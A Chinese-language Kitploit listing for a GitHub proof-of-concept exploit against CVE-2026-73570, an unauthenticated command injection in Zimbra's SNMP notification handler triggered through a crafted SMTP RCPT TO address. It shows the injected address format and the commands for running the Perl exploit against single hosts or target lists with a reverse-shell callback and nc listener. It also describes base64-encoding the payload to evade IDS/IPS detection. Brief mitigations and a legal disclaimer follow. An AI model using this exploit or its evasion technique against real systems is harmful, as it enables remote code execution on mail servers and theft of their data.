Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-73570 — Zimbra SNMP 通知操作系统命令注入 — 通过 SMTP 漏洞实现未认证远程代码执行(PoC) | Kitploit
工具/GitHubGitHub/gabrielunknown/cve-2026-73570
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队远程访问工具
GitHubgabrielunknown/cve-2026-73570

CVE-2026-73570

Zimbra SNMP 通知操作系统命令注入 — 通过 SMTP 漏洞实现未认证远程代码执行(PoC)

查看仓库
41921个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-73570 — Zimbra ZCS SNMP 通知 RCE 漏洞利用(PoC)

通过 Zimbra Collaboration Suite SNMP 通知处理器中的 OS 命令注入实现未经身份验证的远程代码执行。


概述

字段值
CVECVE-2026-73570
CVSS 3.18.9 HIGH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
CWECWE-78 — OS 命令中特殊元素的不当中和
受影响版本Zimbra ZCS < 10.1.20(已安装 zimbra-snmp)
修复版本ZCS 10.1.20 — 2026 年 7 月
CISA KEV于 2026-08-21 添加(FCEB 修复截止日期:2026-08-24)
所需认证无
执行身份zimbra OS 用户

根本原因

可选的 zimbra-snmp 包附带了一条 swatchdog 规则,该规则会跟踪 /var/log/zimbra.log 中匹配以下内容的行:

Service status change: <NAME> changed from <STATE> to <STATE>

当发现匹配项时,swatchdog 会将捕获到的 <NAME> 字段直接传递给 SNMP 通知 shell 脚本,未进行任何净化处理。

未经身份验证的攻击者可以通过发送特制的 SMTP RCPT TO 命令来注入精心构造的日志条目。利用 RFC 5321 的带引号本地部分,shell 元字符——例如 $(...)——被嵌入到 <NAME> 中,并在 swatchdog 处理生成的日志行时执行。


前置条件

目标上必须同时满足以下三个条件,该漏洞才可被利用:

  • 已安装 zimbra-snmp 包
  • 已启用 SNMP 通知(snmp_notify = true)
  • swatchdog 服务正在运行

攻击流程

Attacker                          Zimbra MTA
   │                                  │
   │── TCP connect :25/:465/:587 ────►│
   │── EHLO mx-test.invalid ─────────►│
   │── MAIL FROM:<scanner@...> ──────►│
   │── RCPT TO:<"x: Service status    │
   │     change: localhost $(CMD)     │
   │     changed from stopped to      │
   │     running"@cve.invalid> ──────►│
   │                                  │── logs RCPT TO data ──► /var/log/zimbra.log
   │                                  │                               │
   │                                  │                         swatchdog matches
   │                                  │                         pattern, extracts
   │                                  │                         $(CMD), executes
   │◄─────────── shell callback ───────────────────────────────────────┘
  1. 连接到端口 25 / 465 / 587。
  2. 发送带有武器化 RCPT TO 的标准 SMTP 会话。
  3. Zimbra 无论接受还是拒绝都会记录该地址数据。
  4. swatchdog 匹配日志模式并提取注入的 $(CMD)。
  5. SNMP 处理器以 zimbra 操作系统用户身份执行 CMD。

漏洞利用

要求

cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5

或通过 apt-get

apt-get install libio-socket-ssl-perl libmime-base64-perl libdigest-hmac-perl

或通过 yum

yum install perl-IO-Socket-SSL perl-MIME-Base64 perl-Digest-HMAC

单一目标

perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444

目标列表

perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444

targets.txt — 每行一个主机,可选 :port,以 # 开头的行会被忽略:

mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment

所有选项

标志长选项默认值描述
-H--host—单个目标主机名或 IP
-f--file—包含目标列表的文件
-p--port587默认 SMTP 端口
-r--rhost—用于反向 shell 回调的你的 IP
-R--rport4444监听端口
-t--timeout15Socket 超时时间(秒)
-S--ssl关闭直接 TLS(在端口 465 上自动启用)
-v--verbose关闭打印完整的 SMTP 对话
-L--logfile—将会话日志写入文件
-h--help—显示帮助

完整示例

# Terminal 1 — start listener
nc -lvnp 4444

# Terminal 2 — run exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v

Payload 技术

反向 shell 命令在注入前会先进行 base64 编码:

echo <b64>|base64 -d|bash

这可以防止 IDS/IPS 匹配 /dev/tcp、bash -i 或 nc -e 等明文特征。编码后的数据块会以 $(...) 的形式注入到 RCPT TO 中带引号的本地部分内,当 swatchdog 处理该日志条目时,就会在服务端触发执行。


缓解措施

操作详情
打补丁升级至 Zimbra ZCS ≥ 10.1.20
禁用 SNMP 通知zmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart
移除软件包apt remove zimbra-snmp / yum remove zimbra-snmp
网络控制在运营可行的情况下,将入站 SMTP(25/465/587)限制为仅允许可信中继

参考资料

  • NVD — CVE-2026-73570
  • Zimbra Security Advisories
  • CISA Known Exploited Vulnerabilities — CVE-2026-73570
  • CERT.pl advisory
  • BiuTrap/CVE-2026-73570

免责声明

本概念验证仅面向经授权的安全测试、学术研究和防御目的发布。
在未拥有或未获得明确书面许可测试的系统上运行本工具属于违法行为。
作者对因本工具造成的任何滥用或损害不承担任何责任。


下载工具